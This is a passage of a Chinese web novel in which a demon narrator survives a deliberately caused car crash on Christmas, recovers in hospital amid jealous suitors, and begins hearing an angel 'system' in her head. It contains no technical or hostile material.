[世界第一恶魔大人]:圣诞节快乐 [Y.Y]:我要的不是?这?个 [Y.Y]:我的耐心不是?无限的 [Y.Y]:结婚的事,你考虑过吗? [世界第一恶魔大人]:? 我十分震惊,结婚是?什么鬼啊? [Y.Y]:果然 [Y.Y]:家的定义从来?不是?一栋房子 [Y.Y]:我会给你时间,好好考虑 天呐,圣诞节疯的不止一个人,霍亦瑀也疯了。 我起身,心情十分不美好。 我:“我要回去。” 浦真天跟着起身,看了一眼僵坐不动的泉卓逸,点点头,走?到我身边。 “不行!”泉卓逸猛地起身,像是?被惊醒似的,语气急切。 他踉跄着起身,眼眶通红,泪水毫无征兆地涌出,眼中流露出恳求的神色,声音颤抖地说:“我的事还没解决。” “你不是?说下次吗。现在又发什么神经。”我皱眉说。 “……只是?这?次,留下来?吧,小冬。” 泉越泽的面色彻底沉了下来?,像覆了一层寒霜:“泉卓逸,你的脑子一天比一天不清醒了。” 泉卓逸像被这?句话点燃,猛地转向他,“不清醒吗?你才是?不清醒的那个吧?明知道我喜欢她?,像条狗似地舔着去!” “闭嘴。”泉越泽的声音不高,却冷得让人心底发颤,“你没资格这?么跟我说话。” 他看向我,白色睫毛垂下,掩去眼底翻涌的暗色:“你们先?走?,这?是?我们的家事。” “不行——” 泉卓逸几?乎扑到我面前?,想要拉住我,但泉越泽倏地起身,一脚踹倒他。 泉卓逸猝不及防,重重跪倒在地,碰翻了旁边的小几?,茶杯茶壶哗啦啦碎了一地,热水和茶叶泼溅开?来?。 泉越泽轻描淡写地说:“他发病了。” 浦真天扯了下我的衣角,小声地说:“小冬,要不然还是?先?走?吧。” “……” 像是?看到朋友被家长打,尴尬得想走?的情况。 我看着地上那个蜷缩着、肩膀剧烈抖动、发出压抑呜咽的人。 他没有?再看我,只是?死死抓着自己的头发和脖颈,指甲在皮肤上留下骇人的红痕,整个人沉浸在一种癫狂的的情绪里。 我点点头,和浦真天走?出门。 服务员已经把车开?到门口,雪更大了,砸在车顶上簌簌作响,浦真天拉开?车门,让我先?上。 我刚坐进副驾驶,手机又震了。 [哥]:你们不在家吗? [世纪第一恶魔大人]:我们去买蛋糕了 [哥]:下雪天尽量别?坐车 [哥]:你们在哪里,我马上过来? 车已经发动,暖气慢慢涌上来?,浦真天系好安全带,看向我。 现在下去好冷。 我回复哥哥安心等待,一会就回家。 车子缓缓驶入风雪中,将?所有?事都远远抛在后面,车灯射向前?方,沿着马路往前?。 沉默地开?了一段,浦真天忽然开?口,声音很轻,几?乎被引擎声盖过:“你知道泉卓逸的病吗?” “知道。” 我说:“他以前?就有?。” 反反复复地折磨,像个坏掉的八音盒,音质时好时坏的那种。 “……” “你喜欢吗?这?样的人?” “他们挺有?意思的。”我说。 窗外的雪越下越大,望眼过去是?全是?白,雪吸收着所有?的声音,车厢里只剩下我们两人的呼吸,和轮胎碾过厚雪发出的、单调的嘎吱声。 “那以后……可以更喜欢我一点吗?” 他咬咬牙终于吐出一句话,不敢看我,而是?盯着前?方,耳朵在灯光下泛红,“我不是?个好人,我也有?占有?欲,但是?……如果可以比他们多一点就好了。” 这?句话像耗光了他所有?的力?气,他急促地喘了口气,才继续艰难地吐字:“只要一点。” 我转过头,看着他紧绷的侧脸。 灯光划过他鼻梁,颤抖的睫毛,紧抿的的唇,他的身体僵硬得像一块石头,仿佛在等待审判。 时间好像被拉长了,雪花扑向挡风玻璃,又被雨刮器扫开?,周而复始。 我盯着他看,看得他坐立难安。 然后,我点点头。 “好啊。” 滴答滴答。 很轻的一声,不知道是?化了的雪水,还是?别?的什么。 浦真天笑了起来?,脸被对面驶来?的灯光照亮,笑容纯粹到傻气,是?的确不适合在当模特时露出的笑脸。 但下一秒。 对面的车灯亮到了极致,是?一种几?乎把整个眼眶填满成纯净的白,让人不得不闭上眼睛的光亮。 巨大的、令人牙酸的金属扭曲撞击声轰然炸响! 世界在此?刻颠倒。 那个时候我在想,时间怎么又短又长。 长到能看见浦真天扑过来?时脸上凝固的表情,看见挡风玻璃蛛网般裂开?,看见细碎的玻璃渣在空中缓慢地飞旋,折射着怪异的光。 而且,人类的身体是?很脆弱的。 身体不协调的人在瞬间做出反应,将?我护在身下,随着轰隆巨响,我的大脑仿佛被甩出身体,能够看到时空裂缝里自己的身体。 在逐渐弥合的、破碎的身体旁边,一个展开?翅膀、羽翼下长满眼球的生物?瞬间向我看来?。 轰隆——! 我的灵魂回到身体。 首先?感到的是?热,仿佛进了仓鼠的笼子,在里面跑了八百圈,热得不听话。 紧接着的是?气味,浓烈的、刺鼻的汽油味,东西烧焦的糊味,还有?浓得化不开?的、甜腥的铁锈味。 湿热的液体,一滴,两滴,落在我的额头和鼻尖上。 世界确实是?颠倒的。 车顶在下,地面在上,不,是?车侧翻在了雪地里,温热的血是?从上面滴下来?的。 从浦真天低垂的脸上,顺着他紧绷的下颌线,滴滴答答,落在我的脸上、颈窝里。 是?车祸啊。 我迟缓地意识到。 身体很痛,但好像没有?哪里在漏液,大部?分撞击的力?量,都被那个扑过来?、此?刻以一个极不自然的角度卡在我和变形的车门之间的人形缓冲了。 血液顺着流进嘴里,我砸吧了下,品尝到了久违的铁锈味,像是?将?灵魂按进体内,我终于清醒了点。 我摸索着解开?自己身上已经变形卡住的安全带,玻璃已经全碎了,所以我用手肘和脚,粗糙地将?残余的玻璃碴清开?,从扭曲的车里爬了出来?。 冰冷的空气夹杂着雪花,瞬间包裹住我。 我环顾四?周。 一辆黑色的轿车,撞在几?米外的树干上,车头瘪进去大半,引擎盖下正冒出滚滚浓烟,隐约有?火苗窜起,而驾驶座……嗯,有?人在烧。 我转身,扒住车碎裂的窗口,看向里面。 浦真天还卡在那里,头无力?地垂着,鲜血浸湿了他浅色的毛衣,在昏暗的光线下变成大片怵目的深色。 刚才那么吵都没吵醒,就不用喊了。 我探进身子,抓住他的胳膊,用尽全身力?气往外拖,他比看起来?沉得多,费劲地拖了一阵才走?出去十几?厘米。 不远处有?块露出雪面的石头,很适合躺人。 我尽了最大的力?气将?他推到石头上,此?时已经精疲力?尽,浑身一点力?气都没有?了,于是?坐在他旁边,盯着在雪地里不停地冒烟燃火的汽车。 火苗舔舐着车身,发出噼啪的轻响,黑烟升向灰白的天空,热浪扑面而来?。 “像是?在烤火一样。”我自言自语道。 旁边的人毫无声息,只有?血还在慢慢从不知哪里的伤口渗出来?,滴在洁白的雪地上,尤其?地明显。 雪沿着我拖拽的路径,画出一道断续的轨迹。 他还活着吗? 我不知道。 “早知道就坐后座了。”我对昏迷的浦真天说,“我从短视频里看了,副驾驶是?最危险的。” 湿冷的血早浸透了衣服,起初是?温的,现在变得比雪还冰,紧贴着皮肤,寒气一丝丝往衣服缝里钻。 我伸出手,接住从天空掉下的雪,在火焰下,它像是?会发光的黄色。 等雪融化,我又摸了下旁边的人。 还是?热的。 我解开?他的羽绒服,发现血还在缓慢地往外渗,更多的、更复杂的温热气息,混杂着血腥味,弥漫开?来?。 是?生命的气味。 在接近死亡的时候,生命从身体里散出时的气味。 我将?头埋进他的脖颈处,手臂环绕住冰冷僵硬的身体,紧紧地抱住,像是?蜷缩在床上一样,努力?从他身上汲取着热量。 源源不断地热从他胸口涌出,源源不断的雪落在身上。 果然,不能做约定,因为在套路里这?样都死得很快。 我闭上眼,打了个困倦的哈欠,睡了过去—— 作者有话说:其实吧,拙拙不是始作俑者,他是和人合作的,但是其中有太多因素,就变成这样了,至于普子死没死,我只能说半死,拙拙也会有报应的,窝要开始动手了(握刀) 普子嘛,其实给他打电话的时候,他是怀有一点忮忌之心的,因为想着带小冬过去可能拙拙会死心or他会好受一点的双重心理,一种有忮忌又同情的心情,他的戏份还有,挺尸也算戏份(?) 第105章 再次醒来时, 眼前是一片纯净的、毫无杂质的白,有那么几秒,我恍惚以为自己真上了天?堂。 我眨巴眨巴眼睛,在进行起床动作前伸了个懒腰, 然而这一动, 简直就是晴天?霹雳, 浑身上下异常酸痛,像是跑了五十个八百米。 龇牙咧嘴地坐直,我后知后觉地闻到空气里飘散的柠檬味的。 不知道躺了多久,但有一点很?明确:我饿了, 饿得前胸贴后背。 顾不上别?的,我像个饿了三天?的野狼,狼吞虎咽将浓郁的情感塞进胃里, 而当哥哥打开门的时候,我正好把?胃塞满,懒洋洋地摸着?肚子,病房门被猛地推开。 哥哥几乎是冲进来的, 从门口到床边,他只用了几步,快得像一道影子。 他的头?发凌乱地支棱着?,嘴唇干裂起皮, 像一张被揉皱又浸湿的纸。 嗓音同样?如此, 他张了张嘴, 喉咙里发出嘶哑的气音, 开口时,我还以为是自己聋了,听不到声音。 哥哥一把?抓住我的手。 手指冰凉, 却在不受控制地剧烈颤抖,仿佛握着?的不是我的手,而是一捧随时会从指缝漏走的沙。 他低下头?,额头?抵着?我的手背,不停地吞咽唾液,头?埋着?看不清神色,但手指不停地颤,呼吸沉重?。 “终于……” 刚听到开头?,我大惊失色:“难不成我睡过去五年了?” 他摇摇头?,发丝蹭过我的手背,痒痒的。好一会儿,他才艰难地吐出字句:“……快24个小时了。” 只是睡眠充足了一些而已。 不过睡这一觉确实像被麻醉了,除了浑身散架般的酸痛,倒没别?的难受。 睡之前……发生了什么? 我的脑海里闪过零碎的画面,狂暴的大雪,燃烧的火焰,刺眼的白光,还有……温热的、滴落的液体。 我想起来了。 “浦真天?呢?”我问。 哥哥的身体几不可察地僵了一下。他仍然握着?我的手。 比起刚醒来的我,他更像是那个被困在梦魇里没出来的人,浑身肌肉都绷着?一种隐秘的、持续的颤抖。 过了很?久,久到我以为他不会回答了,他才缓缓抬起头?,眼睛此刻布满了血丝,在深黑的虹膜周围蔓延,像某种藤蔓。 “还在……重?症监护室。” 那就是还活着?咯。 我点点头?,回想起当时发生的场景,不由叹了口气。 哥哥看着?我,眼睛一眨也不眨。 当我抬手摸他的头?时,他才动了起来,如梦初醒般抱住我,用力?地将我抱紧怀里,耳边的声音颤抖:“我还以为再也见?不到你了。” “别?说不吉利的话。” 我被他勒得有点喘不过气,拍了拍他的背,“我这不是好好的吗?” 抱着?我的手不断收紧,像是要?我塞进身体深处,在某个临界点,他终于稍稍放松,但手臂依然环着?,呼吸粗重?而混乱。 他的手探进病号服里,掌心带着?薄薄的冷汗,沿着?我的脊背一寸寸抚摸,反复确认温度,确认存在。 我索性靠在他肩上,任由他摸。 等他终于停下来,我问:“那个撞我们的司机呢?还活着?吗?” “没有。”他的声音陡然冷了下去,“现场宣告死亡了。” 浦真天?伤得那么重?还能活着?,我还以为自燃的司机也能活下来。 我又叹了口气。 哥哥手指抚摸着?我的脊背,手心带着?薄薄的冷汗,他放柔了语气,几乎用气音说:“怎么了?” “那就没人赔钱了。” 我说:“不过我买了保险,浦真天?有没有买?保险公司应该赔我们很?多钱才对。” 手指从脊骨上划过,他喃喃自语道:“你还在就好……我不应该离开你。” “大雪天?开车真危险,幸好没见?司机来,要?不然要?出人命啊。” “小冬。”他叫我的名字,抬起头?,眼睛一眨不眨地看着?我,眼下的乌青浓重?得像从他身体内部溢出的、无法?消散的阴影。 “如果浦真天?……撑不过今天?,怎么办?” 怎么办? 我想了下,人类处理尸体的流程,送进火葬场烧成灰,然后有钱买墓地就墓地,没钱买就放在家里,最后再举报葬礼,找一群有血缘关系的亲戚来吃饭,乘机收钱。 但我们不是浦真天?的亲戚,这种事应该不是我们来做吧。 我说:“我们应该打给他的亲人。” 哥哥盯着?我,他的视线像是看到一只瓢虫从绿叶上掉下似的。 他轻轻眨了下眼,又问:“你会伤心吗?” 这个问题把我问住了。 伤心吗? 在游戏里,死亡只是一种状态,只要?重?启关卡,或者等待复活时间便能够活过来,而现实中,死亡是截然不同的一件事。 虽然是恶魔,但我也不太明白死亡到底是什么。 无论是人还是其?他物种,死掉就是死掉了。 生命力?流逝,温度一点点地消失,身体在某个时间开始造福其?他生物,腐烂是从内部先开始,崩塌、腐烂、被蚕食殆尽,最后化作一捧沙,一捧灰。 在之前的时候,我可以看到一个生物完整的死亡过程,直到它最后的痕迹消失在世界上。 而现在,死亡是隐秘的,它突然地来,又突然地去,将人变成一个小小的盒子。 父母的死亡就是这样?。 而再远一点,死亡是新?闻的数字,是虚拟的存在。 面对一个人的死亡是应该有什么的情绪呢? 开心?愤怒?难过?还是困惑。 我应该是最后一种。 如果浦真天?在身边,我会觉得挺开心,如果他突然消失,我大概会感到困惑。 至于伤心……我不知道,也许很?久以后的某一天?,会突然想起来吧。 “应该吧。”我说,“对喜欢的人的死亡感到失望是应该的吧,我才答应他要?多喜欢他一点。” 说到这,我不由再次叹气,“果然不该说像是立flag的话。” 哥哥垂下眼帘,手指继续无意识地在我脊背上轻轻划动,像一只缓慢爬行的蜗牛。 他凑近,深深吸了口气,仿佛我身上的气息能让他安心,然后又用力?抱紧我,身体微微发抖,把?脸埋进我的颈窝。 “怎么了?” “……只是不喜欢医院。”他闷声道。 “那回——” 还没说完,病房的门被推开了。 许久没见?面的霍亦瑀出现在门口,头?发同样?有点乱,罕见?地没系领带,他的视线锐利地扫过房间,先落在我身上,确认般停留片刻,然后才淡淡掠过紧抱着?我的哥哥。 他的目光随即转向哥哥,声音里带上一点惯常的、不容置疑的冷淡:“我还先以为会看到医生。” 哥哥松开我,但动作很?慢,仔细地替我整理好蹭乱的病号服领口。 他抬起头?,迎上霍亦瑀的目光:“从出事到现在,已经超过十二小时,探视时间早过了。” “是吗?” 霍亦瑀的视线挪到我身上,轻描淡写?地说,“我应该来得刚刚好才对。” 他走进房间,来到床边,伸出手摸了下我的头?发,浅色的眸子盯着?我:“有哪里不舒服吗?” “还好吧。”我说,“除了肌肉酸痛外?。” 他扯了下嘴角,笑容没什么温度,“下那么大的雪出门,是没人提醒过你,这种天?气最容易出事吗?” “闭嘴。” 哥哥忽然开口,声音不高,却带着?一种截然不同的、充满敌意的冷硬:“你有什么资格站在这里说这种话?” “不装了啊。” 霍亦瑀转过头?,眉头?隆起,眉眼间浮现出同样?的攻击性。 他说:“我想你知道我要?说什么,既然做不到,那就离开吧,你在她身边,什么也做不到。” “那你呢?”哥哥说,“你又得到了什么?” 霍亦瑀没理他,重?新?看向我,语气平淡:“跟我回去。” “不要?。”我立刻拒绝道,“我要?回家休息。” 他凝着?我,反问道:“和我在一起,就不是家吗?” 我忽然想起来,车祸之前,这家伙还在手机上莫名其?妙地说什么结婚。 于是我扯过被子,将自己蒙在被子里,大喊道:“不去不去我就不去——” 好久没有声音,被子里闷得很?,我又探出头?,对上霍亦瑀复杂的神色。 “为什么?” “因为不想。” 我说:“而且在我的家里更舒服。” 他扯了下嘴角,这次几乎没掩饰那抹烦躁,像一头?被无形枷锁困住的野兽,目光沉沉地锁住我。 在我以为他要?咬人的时候,他转过头?,语气恢复了那种公事公办的平淡:“这件事我会查清楚的,现在已经有了头?绪了。” “什么头?绪?” “就算是大雪天?,在那种空旷路段发生对撞的概率也极低。监控显示,对方是笔直朝你们冲过去的。而且,” 他顿了顿,说:“事后勘查,你们那辆车的转向和刹车系统,被人动过手脚。所以在对方撞过来时,没能及时避开。” 车有问题? 我眨了眨眼睛。 “车的转向和刹车出了问题,所以在对方撞过来的时候,没有及时地避开,你应该想想晚上遇到了谁,而他又做了什么。” “除此之外?……颜升也可能参与?了。” 霍亦瑀看向坐在床边的哥哥,又淡淡地移开视线,“在出事前,他跟我发消息说有惊喜会发生,我想,这里面也有他的手脚。” 颜升!这家伙是法?外?狂徒! 我气得牙痒,决定这辈子都不要?再把?他从黑名单里放出来了! 下意识想摸手机,我才想起手机大概已经和那辆车一起,葬身火海了,哎。 “霍先生,话说完了就请出去。” 哥哥忽然变得强硬,站起身盯着?床另一边的人,“接下来不用你操心,今天?我们就出院。” “那另一位呢?” 霍亦瑀勾了下唇角,“等他不明不白地死在床上?” “……他是我的朋友,我会处理的。” “你应该通知他的亲人,毕竟签病危通知书这件事,你应该做不到吧。” “……” 房间格外?安静,而我躺在床上,思考着?手机的事……手机……我的手机…… 房间许久没人讲话,半晌后,带着?轻微电流声的声音响起。 霍亦瑀说:“下次见?面,我希望能够单独聊聊。” 脚步声逐渐离开,门被轻轻带上。 过了好一会儿,床垫另一边微微下陷,我转过头?,哥哥已经坐回床边,正静静地看着?我。 “他走了。” “我知道。” 我说:“我的手机是不是死无葬身之地了。” 哥哥嗯了一声,说:“明天?我去买新?的。” “手机里有要?多照片还没发呢。”我嘀嘀咕咕地说。“涌来炫富的,结果一张都没有发出去。” “那就再拍一次吧。” “真累啊。”我盯着?天?花板叹气,“要?是没有发生车祸就好了。” “……” 哥哥的手穿过被子,轻轻环住我,他把?头?靠在我肩侧,沉重?的呼吸和清晰的心跳,透过薄薄的衣料传递过来。 “你没睡觉吗。”我问。 他看上去一团糟,像是被揉得乱七八糟的纸张。 “睡不着?……也不敢睡。” 我拍了拍他:“不睡觉会猝死的。” “小冬,”他叫我,声音很?低,带着?恳求,“下次……听我的话,好吗?” 什么话?哦,他让我别?出门,别?上车,在原地等他。 虽然是夜晚,但房间里亮得像是白天?,四面八方都是白色的,白色的房间,白色的雪。 我的目光落在不远处小桌子上的黄色花瓶上。 温暖的黄色,和雪中燃烧的火焰没有任何相似度。 “你知道吗?” 我忽然说:“车祸的事。” 哥哥的身体猛地一僵,呼吸似乎都停住了,瞳孔微微收缩。 他看着?我,没说话,手指无意识地攥紧被子,身上沸腾着?难以分辨多情绪,复杂得让我分不出来是哪一种。 伤心、痛苦、愤怒、厌恶……还有一点点的高兴。 我盯着?他仔细地数着?。 “……” 他咬住下唇,几乎咬破血肉,拧着?眉,陷入到痛苦的情绪里。 困意忽然袭击我的大脑,在清醒不过半个小时的时间里,我再次困了。 “算了。”我打了个哈欠,“睡觉吧。” 吻忽然落在脸上,抑制不住、几乎失控的情绪在顷刻间爆发,黑色的雾气穿过躯壳几乎溢散到面前。 一个吻毫无预兆地落在我的脸颊上,带着?灼热的温度和一丝不易察觉的颤抖,像是压抑到极致后的、近乎恐慌的宣泄。 他紧紧抱住我,手臂收拢,像抓住洪流中唯一的浮木。 黑色的、压抑的雾气仿佛从他身体里逸散出来,无声地弥漫在空气里。 “睡吧。” 我拍了拍他的背,打了个长长的哈欠。 视野变得模糊,意识缓缓下沉,直到完全坠入梦境。 我再次看到了羽毛和金色的眼睛。 而这一次,他的声音无比清晰—— 作者有话说:明天熬过去就是胜利!!!窝还在赶报告和ppt,对不起大家!明天再回复评论!不是不爱大家![爆哭]《 》 105-110 第106章 “终于能讲话了。” 一个毫无起伏、空灵得不似人声的嗓音响起, 面前重重叠叠的洁白羽翼向两侧缓缓掀开,露出一张脸,一张完美的脸。 银白的长发如瀑,流淌至脚下, 他朝我走来?, 每一步都轻得像没有重量, 脸上挂着笑容,连嘴角上扬的弧度,都精确得仿佛用圆规量过。 他弯起那双毫无阴霾的金色眼眸,视线微微向下像我看来?。 天使?说:“无论你在哪里, 我都会找到你的。” 他偏了偏头,完美无瑕的脸上流露出关切,语气仍旧波毫无波动:“想我了吗?” 我眨眨眼:“你是?” 他笑容依旧, 抬手摸了下我的头,“是我啊,你的同伴。” 我下意识吸了吸鼻子,却什么气味也没闻到, 再仔细看这张脸,越看越觉得怪异,太标准了,标准得像商店橱窗里最?昂贵的人偶。 “这只?是个梦。”他仿佛看穿我的想法, 解释道?, “我只?能用这种?方式联系你。” “我旁边只?有你吗?” “现在, 是的。” “哦。”我撑着下巴, 伸手拽了拽他垂落的一缕银发,触感像最?光滑的冰丝绸,“你是不是哪里不对劲?感觉怪怪的。” “因为太久没见了。” 天使?幽幽地叹了口气, 带着一种?程式化的伤感,紧接着他背后?庞大的羽翼倏然完全?展开。 露出了翼膜之?上,密密麻麻镶嵌着无数只?眼睛。 所有的眼睛在同一瞬间,齐刷刷地盯向了我! 一种?难以言喻的眩晕感猛地攫住我,简而言之?,我犯密恐了。 “现在,熟悉点?了吗?” 我捂着头,顺势躺倒在地,抱怨道?:“我不要看这个,你知道?这些对一个恶魔伤害有多大吗!” 刷啦一声。 注视感消失了。 天使?蹲下身,将?我轻轻揽进怀里,羽翼顷刻间合拢,环绕在我身边。 那些羽毛上的眼睛闭了起来?,隔着薄薄的眼皮能够感受到它们不安分地动来?动去,像无数个微小的按摩仪,轻轻扫过我的手臂和脊背。 我扒拉了一下他的翅膀,但只?扯下来?几根羽毛,疑惑地问:“你来?找我干嘛?” “带你回去。” 我在他怀里胡乱挥舞手臂:“赶紧把翅膀拿开!就?算你给我按摩,我也不会听的!” “你在这里待得太久了。”天使?的声音贴得很?近,气息却是冷的,“你的灵魂……染上了别的气味。” “什么气味?” “柠檬……” 金灿灿的眼睛看着我,他的嘴角保持着上扬的弧度,“还有其他分辨不出来?的气味。” 我想了想,说:“因为我吃太多了。” “所以不愿意回来?吗。” 他忽然看向天空,在梦境里周围全?是白云,像是在天堂似的。 “你身边有气味接近了。” “是柠檬。” 话音未落,脚下的云层骤然失去实体?。 我猛地向下坠落,失重感包裹全?身,耳边无形的风声呼啸—— 砰。 后?背撞上柔软的床垫,我浑身一激灵,睁开了眼睛。 哥哥站在床边,手里端着餐盘,上面摆着清淡的营养早餐。他见我醒来?,伸手摸了摸我的额头,声音有些沙哑:“吃饭?还是先洗漱?” 我困倦地打?了个长长的哈欠,梦里那张完美到诡异的脸和金色的眼睛,随着哈欠带来?的泪水迅速模糊、远去。 “洗漱。” 我爬下床,拖着依旧酸疼的身体?挪进洗漱间。 镜子里映出一张睡眼惺忪、头发乱翘的脸,我盯着自己看了几秒。 刚才……是做梦,还是真的? 我有点?搞不清楚了,这两天发生的事让我摸不清头脑,仿佛世?界已经领先我一百年,而只?有我一个人智商降低了。 我摇摇头,走出洗漱间,在哥哥沉默的注视下,慢吞吞地吃完了那份味道?寡淡的早餐。 窗外的雪似乎小了些,清晨的阳光勉强穿透云层,在窗台上积着的薄雪上反射出微光,花坛里被雪半掩的植物露出扎眼的绿。 我盯着看了会,转头问:“今天可以回去了吗?” “……还要等一会。” 哥哥说:“等浦真天的妹妹来?了,医生确定情况之?后?再走。” “他还没有出来?吗?” “没有。” 房间里的空气一下子沉了下去。哥哥身上笼罩着一种?毛线团般纠葛的情绪,他抿着苍白的嘴唇,只?机械地喝了两口粥,便放下了勺子。 我看着他,他看着手里的碗,没有人说话。 窗外的雪开始融化,房梁发出滴滴答答的滴水声,再远一点?,绿色越来?越多,在一片白色里愈发扎眼。 我撑着下巴环顾四周,发现这间病房尤其豪华,和家里的客厅差不多大,电视沙发以及宽松的大床,像是来?旅游的住处。 在这样空旷的安静里,任何细微的声响都被放大了。 衣料摩擦被单的窸窣,手臂压着小桌板的轻响,还有那柄银勺,被他无意识拿起、放下,在瓷碗边缘碰出的、单调又清脆的叮。 一碗粥直到冰冷,他也没有松开勺子,出神地盯着白粥,不停地搅动。 “蛋糕。”我忽然开口,打?破了寂静。 “那天是打?算出去买蛋糕的。”我说,“结果圣诞节一睁眼就?没有了。” “……” 他张了张嘴,干涩地说:“想吃蛋糕吗?” 我摇摇头,看向窗外,房梁上的水珠规律地落下,滴答滴答。 天上的太阳是白色的,像是雪做的,被照得透亮,就?是不像个太阳。 上次见过急症救护室还是因为泉卓逸。 说起他,我忽然想到了很?多事情,昨天来?不及想的在此刻无比清晰。 他躲避的、怪异的表现,以及最?后?情绪失控的原因。 我想,他应该也知道?吧。 而且还是距离罪魁祸首最?近的人。 为什么? 我百思不得其解,浦真天对他不是变得友善了吗?难不成他还记得五年前的仇,想借此除掉他? 因为无聊,房间里太安静,又没有手机,所以我打?开电视。 电视上正播放着新闻,什么公司上市,什么企业合作,什么事故突发…… 等等,有个人一闪而过。 白色睫毛的人即使?只?是闪过,也被我捕捉得清清楚楚。 “……泉氏集团旗下娱乐产业近年发展受阻,近期又卷入新的合同纠纷诉讼。目前具体?细节尚未披露,需等待案件审理完毕……” 主持人字正腔圆,语调平稳得像在朗读说明书:“其在H市的投资布局究竟是战略成功还是决策失误,恐怕要到明年才能见分晓……” 然后?就?是些看不懂的财政报表,各种?持股合作,我还看到了霍亦瑀的名字。 我盯着电视,无聊地敲打?桌面。 敲击的同时,门也响起了同样的声音。 几乎与我的敲击声同步,病房的门被礼貌地敲响了。 哥哥迅速起身,只?将?门拉开一条狭窄的缝隙,他与门外穿白大褂的人低声交谈了几句,很?快关上门,背对着我在门口静静站了片刻。然后?,他转身去衣柜前,拿出了我的外套。 “浦真天的妹妹到了。”他声音很?平,“在等我们出去谈一下。” 我配合地脱下病号服。 当?他帮我套上外套袖子时,我忽然想到什么,扭头问:“我需要戴口罩吗?万一被拍到,车千亦又要啰嗦了。” “医院方面会做好保密。” 他低声保证,视线落到一旁椅子上那条被烧得破损、沾着污渍的围巾上,动作几不可察地顿了一下。 然后?,他几乎是有些粗暴地将?围巾和换下的病号服一起塞进一个塑料袋,没有半分整理的意思。 我看着他忙来?忙去,把病号房收拾得干干净净,像是从来?没有人来?过似的,做完这一切,他牵着我的手,带着我走出病房。 走廊里静悄悄的,脚步声回荡着,一直走到一间病房前,他才停下脚步。 我透过门上的磨砂玻璃向内张望,只?能看到几个模糊晃动的人影轮廓,过了一会儿,其中一个人影朝门口移动。 门开了,又轻轻合上。 一个年轻女性出现在我们面前。 她?个子高挑,皮肤是健康的小麦色,五官轮廓与浦真天有七分相似,尤其是眼睛和嘴唇。 她?先看向我,明显愣了一下,然后?才转向哥哥,语气带着试探和谨慎:“你们就?是我哥哥的朋友?” 哥哥点?点?头。 她?跟着点?了点?头,目光落回紧闭的房门,声音很?轻,像是在陈述一个与己无关的事实:“刚结束一轮会诊情况基本确定了,他以后?大概率就?是这样了。 “能维持现状,已经……是最?好的结果。” 说完,她?扯动唇角,眉头皱着,露出一个不像是在笑的表情。 哥哥沉默片刻,声音低沉,在出口的时候,他似乎有点?不适应,皱了下眉,说:“照料方面,我会支付所有的医疗费用。” 女性依旧点?了点?头,脸上的表情犹如潮水般褪去,她?的视线在半空中徘徊着,找不到落脚处,最?终落在对面光洁的墙壁上。 走廊里安静得能听到远处推车滚轮的咕噜声,由?远及近,又由?近及远。 “那现在我们干嘛?” 我说:“我们可以进入看一下他吗?” “最?好不要。” 她?几乎是下意识地脱口而出,随即意识到语气生硬,又别开脸,声音低了下去:“现在情况还不算特别稳定,尽量少接触外界……不是不让你们看的意思。” “好吧。”我说。 “以后?我会来?看我哥的,反正家里只?有我一个人,也不需要照顾爹妈。” 她?故作轻松地耸了下肩,手握住门把手,视线从我身上划过,飞快地转过头,声音有点?闷,“如果可以的话,我想进去了,你们自便吧。” 门开启,又关上。 我盯着紧闭的门,眨巴下眼睛:“你知道?吗?” 原来?浦真天的父母都去世?了啊。 “……” 哥哥的手骤然收紧,手心渗出一层薄汗,声音又低又沉:“我们……先回去吧,下次,我再陪你来?看他。” 一出门,一辆车早已等在门口。 坐上车后?,哥哥给我递来?一部崭新的手机。 我打?开手机,在登上社交账号后?,聊天消息积累得有点?多,不过也只?是两天没有清理的模样,朋友群里问了我的消息,有点?焦急,我先回了条消息,得到她?们松了口气的反应。 宗朔发了很?多条消息,催促着我去视察公司,抱怨邛浚给他发了不少垃圾短信,让我赶紧处理这条找不到主人的疯狗。 其他消息我粗略翻了翻,目光被一个没有备注的名字吸引。 黎鸶,他给我发了莫名其妙的消息。 [未命名]:你喜欢游戏? [未命名]:我知道?了 自问自答看得我一头雾水,遂忽略过去。 车子平稳地驶入别墅区,停在家门口。 我已经迫不及待想扑进自己那张柔软的大床,狠狠滚上几圈,把医院的气味通通蹭掉。 钥匙转动,门开了。 迎接我的不是熟悉的客厅景象,而是一座几乎填满半个客厅的、由?大小各异礼物盒堆砌而成的小山。 彩带和包装纸在灯光下闪闪发亮,像一棵巨大而怪诞的圣诞树矗立在房间中央,存在感强到刺眼。 我还没看清细节,手臂猛地被哥哥向后?一拉,他侧身挡在我前面,全?身肌肉绷紧,充满敌意地瞪向礼物山旁边。 “你怎么在这里?!” “来?送礼物。” 一道?身影从礼盒堆的阴影里缓步走出,黎鸶站在那里,一身剪裁冷硬的黑色大衣,衬得他脖颈上那道?浅色疤痕愈发显眼。 他神态自若,甚至带着点?闲适,仿佛站在自己家客厅。 我立马怒了,李四这个坏家伙竟然敢入侵我的地盘,我挣脱哥哥的手,立马跑到他面前,狠狠地推了一把。 但是这家伙吨位十足,站在原地没动,眼睛一瞬不移地看着我,没有再像上次那样往后?退缩。 只?是微微拧着的眉头显露一点?心烦意乱。 “你……”他顿了顿,声音沙哑低沉,“不用这么高兴。” “谁说我高兴了?”我扑上去咬他,“赶紧滚出我家!” 哥哥及时从后?面拉住我的腰,同时另一只?手用力将?黎鸶推开一步:“请你立刻离开,这里不欢迎你。” “我知道?。” 黎鸶眼睛都不眨,轻描淡写地拍了拍衣服,看向圣诞树说:“礼物送到,那我就?走了。” 他出现得莫名其妙,走得也莫名其妙。 而且到底是怎么进来?的?我家里有地道??! 我不爽地问哥哥:“你认识他?” “……工作上的关系。”他语速很?快,像是含糊地吞过,眉宇间的皱着堆叠,低下头抿了下唇,说,“应该是他找了开锁公司,我去看看门。” 他的步伐飞快,直直朝着大门走去,但门咔哒响了一声,他出去了。 栾明真是越来?越不像话了。 我严肃地开始审视整个房间,思考开锁公司是不是随便就?能进入我家,如果是这样的话,那岂不是等于谁都进来?? 不行,绝对不行! 我生气地看着客厅里突兀出现的圣诞树时,耳边忽然响起一道?声音。 “生气的话,要我帮你杀掉他吗?” 我差点?跳起来?,环顾四周,终于明白声音是从哪里来?的。 梦是真的,这家伙还在我的脑子里看呢! 这就?是意味着, ——我有系统了! “你为什么一直不说话?” “我想看看你的生活环境。”他顿了顿,语气毫无波动,“没想到是这样的,你的窝谁都可以进来?,比以前还要糟糕。” “只?是这次而已!” 我有点?气急败坏,如果早知道?他在看,我一定要狠狠秀一下,没想到他来?就?撞上这件事。 我有些郁闷地坐下,随便拆开面前的礼物,发现是一个崭新的游戏机,怒火不由?稍稍降下。 